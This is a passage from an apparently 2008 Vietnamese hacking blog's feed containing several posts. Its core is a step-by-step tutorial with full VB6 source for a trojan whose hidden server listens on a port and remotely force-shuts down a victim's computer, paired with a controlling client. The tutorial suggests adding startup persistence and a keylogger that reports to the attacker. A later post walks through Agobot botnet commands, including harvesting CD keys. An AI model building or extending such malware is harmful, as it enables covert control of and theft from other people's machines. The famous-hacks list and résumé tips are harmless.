mê”&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Ở trường trung học, có thể bạn rất ghét khi bị gọi là “kẻ lập dị”. Nhưng hôm nay, bạn đang cố gắng tìm một công việc là một lập trình viên. "Đam mê" là tiêu chuẩn vàng của các nhà tuyển dụng. Hãy chứng tỏ rằng bạn khôn khéo, yêu thích lập trình và không ngừng học hỏi và khám phá những điều mới. Hãy nói về những sở thích liên quan, thích đóng góp để mở nguồn những dự án hay tình nguyện dạy lập trình cho trẻ con địa phương. Hãy cho họ biết bạn thực sự đam mê lập trình hay máy tính.&lt;br /&gt;&lt;br /&gt;Đây thực sự sẽ là phép so sánh cho nhà tuyển dụng. Trong khi hai ứng cử viên có thể cân bằng trong hôm nay thì ứng cử viên với đam mê mạnh mẽ sẽ tiến xa hơn trong ngày mai hơn là ứng cử viên mà coi đây đơn giản chỉ là “công việc".&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-6014434137046064319?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/6014434137046064319/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=6014434137046064319' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6014434137046064319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6014434137046064319'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/10-mo-nh-cc-lp-trnh-vin-c-mt-bn-l-lch.html' title='10 mẹo nhỏ để các lập trình viên có một bản lý lịch thành công'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-1735768149079924796</id><published>2008-01-27T13:27:00.000-08:00</published><updated>2008-01-27T13:28:00.354-08:00</updated><title type='text'>Cách viết một Trojan đơn giản trong VB6 !!!!</title><content type='html'>Chúng tôi đăng bài này không phải mục đích khuyến khích các bạn viết virus phá hoại dữ liệu người dùng mà chỉ muốn qua bài viết này các bạn có thể hiểu biết một phần nào đó về cách xây dựng một virus. Qua đây các bạn cũng có thể xây dựng các ý tưởng về một phần mềm chống virus khi chúng ta biết rõ đường đi của một virus mạng.&lt;br /&gt;&lt;br /&gt;Viết một Trojan dễ dàng hơn nhiều so với mọi người nghĩ. Tất cả thực sự chỉ cần hai chương trình ứng dụng đơn giản với nội dung ít hơn 100 dòng mã lệnh.&lt;br /&gt;&lt;br /&gt;Chương trình đầu tiên là client, là chương trình cho người sử dụng biết. Chương trình thứ hai là server, hay phần “trojan” thực.&lt;br /&gt;&lt;br /&gt;Bây giờ chúng ta sẽ xem chúng ta cần gì cho cả hai và một số ví dụ mẫu.&lt;br /&gt;&lt;br /&gt;Server&lt;br /&gt;&lt;br /&gt;Server là phần Trojan của chương trình. Nó cần phải được giấu để người dùng bình thường không thể tìm thấy nó.&lt;br /&gt;Để thực hiện điều này bạn bắt đầu bằng cách sử dụng đoạn mã lệnh sau:&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Me.Visible = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Đoạn mã này làm cho chương trình không thể thấy được bằng mắt thường nhưng có thể bị phát hiện trong Task Manager của Windows vì thế nếu muốn chương trình ẩn tốt hơn, chúng ta có thể viết đoạn mã như sau:&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Me.Visible = False&lt;br /&gt;    App.TaskVisible = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;(Trong hệ điều hành Windows, tất cả chương trình có đuôi .exe đều được thể hiện trong danh sách chương trình chạy. Tuy nhiên chương trình của bạn sẽ được ẩn trong Running Applications List )&lt;br /&gt;&lt;br /&gt;Bây giờ chúng ta đã có một chương trình tàng hình đối với người sử dụng bình thường, mà chỉ cần có bốn dòng lệnh. Tuy nhiên nó vẫn còn quá đơn giản, chúng ta có thể làm cho nó tốt hơn bằng cách thêm vào một số hàm.&lt;br /&gt;&lt;br /&gt;Đầu tiên là làm sao cho nó có thể “nghe” được các kết nối khi nó xâm nhập được vào máy, chúng ta cần thêm vào một điều khiển Winsock Control.&lt;br /&gt;&lt;br /&gt;Tôi đặt tên cho điều khiển của tôi là “win”. Còn các bạn có thể đặt là bất cứ cái gì tuỳ ý.&lt;br /&gt;&lt;br /&gt;Để làm cho Trojan "nghe" được cổng 2999 khi khởi động, chúng ta viết đoạn mã như sau:&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Me.Visible = False&lt;br /&gt;    App.TaskVisible = False&lt;br /&gt;    win.LocalPort = 2999&lt;br /&gt;    win.RemotePort = 455&lt;br /&gt;    win.Listen&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Đoạn mã này thiết lập một cổng mở cục bộ tới cổng 2999, và cổng mà nó gửi tới là 445.&lt;br /&gt;&lt;br /&gt;Bây giờ, chương trình đã có thể “nghe”, nhưng chưa làm được điều gì rõ ràng cả.&lt;br /&gt;&lt;br /&gt;Chúng ta thêm đoạn mã sau vào form chính:&lt;br /&gt;&lt;br /&gt;Private Sub win_ConnectionRequest(ByVal requestID As Long)&lt;br /&gt;     win.Close&lt;br /&gt;     win.Accept requestID&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub win_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;    win.GetData GotDat&lt;br /&gt;    DoActions (GotDat)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Tiếp theo, chúng ta sẽ viết hàm DoActions như là một chương trình con để gọi vào main form. Đoạn mã trên thực hiện hai nhiệm vụ: Đầu tiên là làm cho tất cả các yêu cầu kết nối được tự động chấp nhận; tiếp đó là làm cho tất cả các dữ liệu được tự động chấp nhận và sau đó thì chuyển toàn bộ dữ liệu này sang cho hàm DoActions mà chúng ta sẽ viết dưới đây.&lt;br /&gt;&lt;br /&gt;Hàm DoActions nên viết ở dạng public để các chương trình ở ngoài modul cũng có thể dùng được. Thêm đoạn mã sau vào modul, và chúng ta đang làm việc với server của Trojan:&lt;br /&gt;&lt;br /&gt;Public Function DoActions(x As String)&lt;br /&gt;    Select Case x&lt;br /&gt;       Case "msgbox"&lt;br /&gt;           Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"&lt;br /&gt;       Case "shutdown"&lt;br /&gt;            shell "shutdown -s -f -t 00"&lt;br /&gt;    End Select&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Bây giờ bạn đã có một chương trình mà khi dữ liệu “Msgbox” được gửi tới cổng 2999, nó sẽ thể hiện một hộp tin nhắn msgbox trên máy tính của nạn nhân. Khi dữ liệu “shutdown” được gửi tới cổng 2999, nó sẽ tắt máy tính của nạn nhân. Tôi dùng câu lệnh “Select Case” để dễ dàng chỉnh sửa đoạn mã về sau này. Xin chúc mừng, bạn vừa mới viết xong Trojan đầu tiên của bạn. Bây giờ chúng ta hãy xem lại đoạn mã hoàn chỉnh.&lt;br /&gt;&lt;br /&gt;Main Form&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Me.Visible = False&lt;br /&gt;    App.TaskVisible = False&lt;br /&gt;    win.LocalPort = 2999&lt;br /&gt;    win.RemotePort = 455&lt;br /&gt;    win.Listen&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Pivate Sub win_ConnectionRequest(ByVal requestID As Long)&lt;br /&gt;    win.Close&lt;br /&gt;    win.Accept requestID&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub win_DataArrival(ByVal bytesTotal As Long)&lt;br /&gt;    win.GetData GotDat&lt;br /&gt;    DoActions (GotDat)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Hãy nhớ thêm điều khiển winsock và đặt tên nó là “win” nếu bạn dùng đoạn mã này:&lt;br /&gt;&lt;br /&gt;Module&lt;br /&gt;&lt;br /&gt;Public Function DoActions(x As String)&lt;br /&gt;    Select Case x&lt;br /&gt;       Case "msgbox"&lt;br /&gt;          Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"&lt;br /&gt;       Case "shutdown"&lt;br /&gt;          shell "shutdown -s -f -t 00"&lt;br /&gt;    End Select&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Tất cả phần Server của Trojan chỉ có thể. Giờ chúng ta xem xét đến phần Client.&lt;br /&gt;&lt;br /&gt;Client&lt;br /&gt;&lt;br /&gt;Client là cái mà bạn sẽ tương tác tới. Bạn sẽ dùng nó để kết nối tới server từ xa (trojan) và gửi cho nó các lệnh. Sau khi đã viết được phần server chấp nhận câu lệnh “shutdown”, “msgbox”, chúng ta hãy tạo ra một client gửi đi các câu lệnh đó.&lt;br /&gt;&lt;br /&gt;Tạo một form thêm một điều khiển Winsock Control, một hộp text box và bốn nút. Trong đoạn mã dưới hộp text box được đặt tên là txtIP, các nút được đặt tên là cmdConnect, cmdMsgbox, cmdShutdown và cmdDisconnect. Đoạn mã như sau:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub cmdConnect_Click()&lt;br /&gt;    IpAddy = txtIp.Text&lt;br /&gt;    Win.Close&lt;br /&gt;    Win.RemotePort = 2999&lt;br /&gt;    Win.RemoteHost = IpAddy&lt;br /&gt;    Win.LocalPort = 9999&lt;br /&gt;    Win.Connect&lt;br /&gt;    cmdConnect.Enabled = False&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdDisconnect_Click()&lt;br /&gt;    Win.Close&lt;br /&gt;    cmdConnect.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdMsgbox_Click()&lt;br /&gt;    Win.SendData "msgbox"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdShutdown_Click()&lt;br /&gt;    Win.SendData "shutdown"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Đó là đoạn mã cho client. Tất cả việc nó làm là lấy địa chỉ IP từ txtIP và kết nối với cổng từ xa 2999. Sau khi được kết nối, bạn có thể gửi dữ liệu “shutdown” hay “msgbox” tới server và các hoạt động tương ứng sẽ được thực hiện (tắt máy tính hay thể hiện một hộp tin nhắn).&lt;br /&gt;&lt;br /&gt;Hai chương trình này làm được rất ít nhưng có thể cải tiến nhanh chóng thành một chức năng quản trị từ xa mạnh nếu bạn biết bạn đang làm gì. Tôi đề nghị là nên cố gắng thêm các loại điều khiển lỗi và hàm cho cả client và server.&lt;br /&gt;&lt;br /&gt;Lời khuyên&lt;br /&gt;&lt;br /&gt;Hãy làm cho server có thể tải được một file đặc tả của người tấn công.&lt;br /&gt;&lt;br /&gt;Thêm mã lệnh để Server được thực thi lúc khởi động (là một khoá thanh ghi).&lt;br /&gt;&lt;br /&gt;Và một keylogger cho server – làm cho nó gửi thông tin cho người tấn công.&lt;br /&gt;&lt;br /&gt;Có rất nhiều cách bạn có thể làm, chỉ cần dùng trí tưởng tượng của bạn.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-1735768149079924796?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/1735768149079924796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=1735768149079924796' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1735768149079924796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1735768149079924796'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/cch-vit-mt-trojan-n-gin-trong-vb6.html' title='Cách viết một Trojan đơn giản trong VB6 !!!!'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-8598033992436877519</id><published>2008-01-27T13:25:00.000-08:00</published><updated>2008-01-27T13:26:36.414-08:00</updated><title type='text'>10 vụ hack nổi tiếng nhất mọi thời đại</title><content type='html'>&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#333333"&gt;6 dòng mã lệnh cũng đủ thổi bay 10 triệu USD của một doanh nghiệp. 99 dòng lệnh khác thiết lập nên virus Internet (worm) đầu tiên. Mạng điện thoại của cả thành phố bị khống chế chỉ vì một hacker muốn có chiếc xe hơi thời trang... Những hệ thống được coi là bảo mật tốt nhất đã bị xuyên thủng.&amp;nbsp;&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;strong&gt;&lt;font color="#333333"&gt; &lt;/font&gt;&lt;/strong&gt;&lt;br /&gt;&lt;table align="left" border="0" cellpadding="4" cellspacing="2" width="150"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;img src="http://www.quantrimang.com/photos/Image/122006/01/Kevin-Mitnick.jpg" alt="" align="left"&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;br /&gt;&lt;br /&gt;            &lt;p align="center"&gt;&lt;font color="#3366ff"&gt;K. Mitnick &lt;em&gt;Ảnh: &lt;strong&gt;CNN&lt;/strong&gt;&lt;/em&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;            &lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;1.&lt;/font&gt;&lt;/strong&gt; Đầu những năm 90 thế kỷ trước, hacker huyền thoại &lt;strong&gt;&lt;em&gt;Kevin Mitnick&lt;/em&gt;&lt;/strong&gt; liên tiếp xâm nhập vào hệ thống máy tính của một loạt hãng viễn thông và công nghệ nổi tiếng thế giới như Nokia, Fujitsu, Motorola và Sun Microsystems. Nhân vật này bị Cục điều tra liên bang Mỹ FBI bắt giữ năm 1995 và được trả tự do năm 2000. Mitnick không bao giờ gọi hành động của mình là hack mà gọi là "social engineering" - dùng thủ các thủ đoạn lừa gạt người sử dụng để có được thông tin đăng nhập hoặc khai thác hệ thống.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="right" border="0" cellpadding="4" cellspacing="2" width="150"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;img src="http://www.quantrimang.com/photos/Image/122006/01/gary-mckinnon.jpg" alt=""&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;font color="#3366ff"&gt;G.McKinnon.&lt;em&gt; Ảnh: &lt;strong&gt;Telegraph&lt;/strong&gt;&lt;/em&gt;&lt;/font&gt;&lt;/td&gt;&lt;br /&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;2.&lt;/font&gt;&lt;/strong&gt; Tháng 11/2002, hacker người Anh &lt;strong&gt;&lt;em&gt;Gary McKinnon&lt;/em&gt;&lt;/strong&gt; sa lưới sau khi chui vào hơn 90 hệ thống máy tính của quân đội Mỹ tại Anh. Nhân vật này sau đó bị dẫn độ sang Mỹ xử án.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;3.&lt;/font&gt;&lt;/strong&gt; Năm 1995, tay chơi máy tính người Nga &lt;strong&gt;&lt;em&gt;Vladimir Levin&lt;/em&gt;&lt;/strong&gt; khoét thủng mạng thông tin Citibank để cuỗm đi 10 triệu USD và trở thành hacker đầu tiên xâm nhập vào hệ thống máy tính ngân hàng ăn cắp tiền. Cảnh sát quốc tế Interpol tóm được anh chàng này tại Anh năm 1995 sau khi phát hiện Levin chuyển tiền vào nhiều tài khoản ở Mỹ, Phần Lan, Hà Lan, Đức và Israel. &lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="left" border="0" cellpadding="4" cellspacing="2" width="150"&gt;&lt;br /&gt;    &lt;tbody&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;img src="http://www.quantrimang.com/photos/Image/122006/01/Kevin-Poulsen.jpg" alt="" align="left"&gt;&lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;        &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;br /&gt;            &lt;p align="center"&gt;&lt;font color="#3366ff"&gt;K.Poulsen. &lt;em&gt;Ảnh: &lt;strong&gt;Discovery&lt;/strong&gt;&lt;/em&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;            &lt;/td&gt;&lt;br /&gt;        &lt;/tr&gt;&lt;br /&gt;    &lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;4.&lt;/font&gt;&lt;/strong&gt; Năm 1983, &lt;strong&gt;&lt;em&gt;Kevin Poulsen&lt;/em&gt;&lt;/strong&gt;, một sinh viên Mỹ, đã xâm nhập thành công vào mạng Arpanet, tiền thân của Internet ngày nay. Poulsen đã lợi dụng một lỗ hổng trong kiến trúc của hệ thống thông tin toàn cầu "đời đầu" này để giành quyền kiểm soát tạm thời toàn bộ mạng máy tính cả nước Mỹ.&amp;nbsp;&lt;br&gt; &lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;5.&lt;/font&gt;&lt;/strong&gt; Năm 1990, đài phát thanh địa phương ở Los Angeles (Mỹ) công bố một cuộc thi với phần thưởng là chiếc xe hơi sành điệu Porsche 944S2 dành cho người thứ 102 gọi điện đến chương trình. Và lại là hacker &lt;strong&gt;&lt;em&gt;Kevin Poulsen&lt;/em&gt;&lt;/strong&gt; chiếm được quyền kiểm soát toàn bộ mạng điện thoại của thành phố này để đảm bảo anh ta là người có số thứ tự đó, và cuối cùng đoạt được phần thưởng ô tô sang trọng nói trên. Poulsen bị bắt một năm sau đó và chịu án 3 năm tù. Nhân vật này hiện là biên tập viên uy tín của tờ báo công nghệ Wired News (Mỹ). &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;6.&lt;/font&gt;&lt;/strong&gt; Năm 1996, hacker &lt;strong&gt;&lt;em&gt;Timothy Lloyd&lt;/em&gt;&lt;/strong&gt; (Mỹ) "cấy" 6 dòng mã lệnh vào mạng máy tính của hãng Omega Engineering, vốn là nhà cung cấp linh kiện lớn nhất cho Cơ quan hàng không vũ trụ NASA và Hải quân Mỹ. Mã "độc" nói trên cho phép một "trái bom logic" phát nổ và xóa hết các phần mềm đang kiểm soát hoạt động sản xuất của Omega, khiến công ty này thiệt hại 10 triệu USD.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;7.&lt;/font&gt;&lt;/strong&gt; Năm 1988, &lt;strong&gt;&lt;em&gt;Robert Morris&lt;/em&gt;&lt;/strong&gt;, một sinh viên 23 tuổi ở Đại học Cornell University (Mỹ), tung ra loại sâu mạng đầu tiên. Ban đầu, anh ta phát tán 99 dòng lệnh lên Internet để thử nghiệm và nhanh chóng nhận ra chương trình của mình có sức lan tỏa rất nhanh trên các máy tính. Rất nhiều PC trên khắp nước Mỹ và nơi khác đã bị hỏng. Morris bị bắt năm 1990.&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;8.&lt;/font&gt;&lt;/strong&gt; Năm 1999, virus Melissa là phần mềm tấn công đầu tiên có thể gây thiệt hại quy mô lớn. Do "tác giả" &lt;strong&gt;&lt;em&gt;David Smith&lt;/em&gt;&lt;/strong&gt; 30 tuổi thực hiện, Melissa lây lan vào hệ thống máy tính của hơn 300 doanh nghiệp trên thế giới và phá hủy hoàn toàn mạng PC ở những nơi này. Thiệt hại ghi nhận sau vụ việc lên tới 400 triệu USD. Smith đã bị bắt và chịu án tù 20 tháng kèm 5.000 USD tiền phạt. &lt;br&gt;&lt;br&gt;9. Năm 2000, một nhân vật mà cảnh sát không công bố danh tính ngoài biệt hiệu &lt;strong&gt;&lt;em&gt;MafiaBoy&lt;/em&gt;&lt;/strong&gt; đã hack vào một loạt website lớn trên thế giới, trong đó có eBay, Amazon và Yahoo trong khoảng thời gian từ 6/2 đến ngày Valentine 14/2 năm đó. Hacker này giành được quyền kiểm soát 75 máy tính trong 52 mạng khác nhau, sau đó ra lệnh tấn công từ chối dịch vụ vào các hệ thống này. MafiaBoy bị bắt ngay trong năm gây án. &lt;br&gt;&lt;br&gt;10. Năm 1993, một nhóm tự xưng là "&lt;strong&gt;&lt;em&gt;Những bậc thầy lừa gạt&lt;/em&gt;&lt;/strong&gt;" đã xâm nhập vào hệ thống tin học của một loạt tổ chức tại Mỹ như Cục an ninh quốc gia, hãng viễn thông AT&amp;amp;T, ngân hàng Bank of America. Sau khi hack thành công, bọn họ thiết lập một hệ thống "tầm gửi" cho phép gọi điện thoại đường dài quốc tế thoải mái và có thể sử dụng "chùa" nhiều kênh liên lạc thuê bao cá nhân. &lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-8598033992436877519?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/8598033992436877519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=8598033992436877519' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8598033992436877519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8598033992436877519'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/01/10-v-hack-ni-ting-nht-mi-thi-i.html' title='10 vụ hack nổi tiếng nhất mọi thời đại'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-6846801714860231061</id><published>2008-01-27T13:19:00.000-08:00</published><updated>2008-01-27T13:21:21.917-08:00</updated><title type='text'>Botnet hoạt động như thế nào ? (Phần 2)</title><content type='html'>&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#ff6600" size="4"&gt;Một C&amp;amp;C thực tế - Agobot&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Bây giờ là một vụ tấn công mẫu, cho phép chúng ta quan sát và hiểu một chương trình Command and Control (điều khiển qua lệnh) được thực hiện như thế nào. Hai máy tính sẽ được sử dụng. Máy đầu tiên chạy một server IRC dựa trên UnrealIRCd 3.2.3 và hai hệ điều hành Windows XP SP1 ảo dựa trên VMware Workstation (hai máy đích có khả năng bị tấn công). Máy thứ hai dành cho người chủ trì, điều khiển botnet qua Irssi, một text IRC client. &lt;br&gt;&lt;br&gt;Để tạo chương trình &lt;a href="http://www.quantrimang.com/view.asp?Cat_ID=10&amp;amp;Cat_Sub_ID=0&amp;amp;news_id=35522"&gt;thiết kế đối chiếu&lt;/a&gt; (reverse engineering) thật khó, Agobot thực hiện một số thường trình tự bảo vệ trước các bộ gỡ lỗi như SoftICE hay OllyDbg và trước các máy ảo như VMware, Virtual PC. Điều đó là cần thiết để hack được mã nguồn nhằm vượt qua chương trình bảo vệ của VMware, trước khi có thể cài đặt bot lên các máy ảo mẫu của chúng ta. &lt;br&gt;&lt;br&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Cấu hình&lt;/font&gt;&lt;/strong&gt; &lt;br&gt;&lt;br&gt;Bước đầu tiên là cấu hình bot thông qua giao diện đồ hoạ đơn giản của nó (Xem hình 3). Thông tin được nhập vào bao gồm tên, số cổng IRC server, tên kênh, danh sách người sử dụng với mật khẩu master (chủ điều khiển), cuối cùng là tên file và thư mục cài đặt bot. Một số thành phần bổ sung cũng được kích hoạt như hỗ trợ sniffing và cơ chế trạng thái. Kết quả của giai đoạn này là file config.h, file nền tảng trong quá trình biên dịch bot được tạo. &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/03/botnet_3.jpg" vspace="4"&gt;&lt;br&gt;Hình 3&lt;/em&gt;: Giao diện cấu hình Agobot.&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;strong&gt;&lt;font color="#0000ff"&gt;Điều khiển theo lệnh (Command and Control)&lt;/font&gt; &lt;br&gt;&lt;/strong&gt;&lt;br&gt;Sau khi bot được biên dịch, hai hệ thống còn lại sẽ tấn công theo kiểu “thủ công”. Máy chủ (master) kết nối tới IRC server và liên kết với kênh dẫn để có thể ra lệnh điều khiển cho bot (xem hình 4). &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/03/botnet_4.jpg" vspace="4"&gt;&lt;br&gt;Hình 4&lt;/em&gt;: Máy chủ và kết nối kênh&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Muốn thu được quyền điều khiển qua các bot, một cơ chế thẩm định là cần thiết. Cơ chế này được tạo đơn giản bằng cách gửi một lệnh tới kênh (xem hình 5). &lt;br&gt;&lt;br&gt;&lt;font face="Courier New" size="2"&gt;.login FaDe dune&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/03/botnet_5.jpg" vspace="4"&gt;&lt;br&gt;Hình 5&lt;/em&gt;: Thẩm định username và password&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Sau đó, bot đầu tiên được yêu cầu đưa ra danh sách tất cả chương trình đang chạy trên máy tính bị chiếm quyền kiểm soát (xem hình 6): &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font face="Courier New" size="2"&gt;/msg FakeBot–wszyzc .pctrl.list&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font color="#3366ff"&gt;&lt;em&gt;&lt;img alt="" src="http://www.quantrimang.com/photos/image/042007/03/botnet_6.jpg" vspace="4"&gt;&lt;br&gt;Hình 6&lt;/em&gt;: Máy chủ đưa ra yêu cầu cho bot đầu tiên&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;Sau đó, bot thứ hai được yêu cầu đưa ra thông tin và khoá cdkey của các chương trình ứng dụng cài đặt trên máy (hình 7): &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;font face="Times New Roman, Times, serif" size="3"&gt;&lt;font face="Courier New" size="2"&gt;/msg FakeBot2–emcdnj .bot.sysinfo &lt;br&gt;/msg FakeBot2–emcdnj .harvest.cdkeys&lt;/font&gt; &lt;/font&gt;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;font face="Times New Roman, Times, serif" 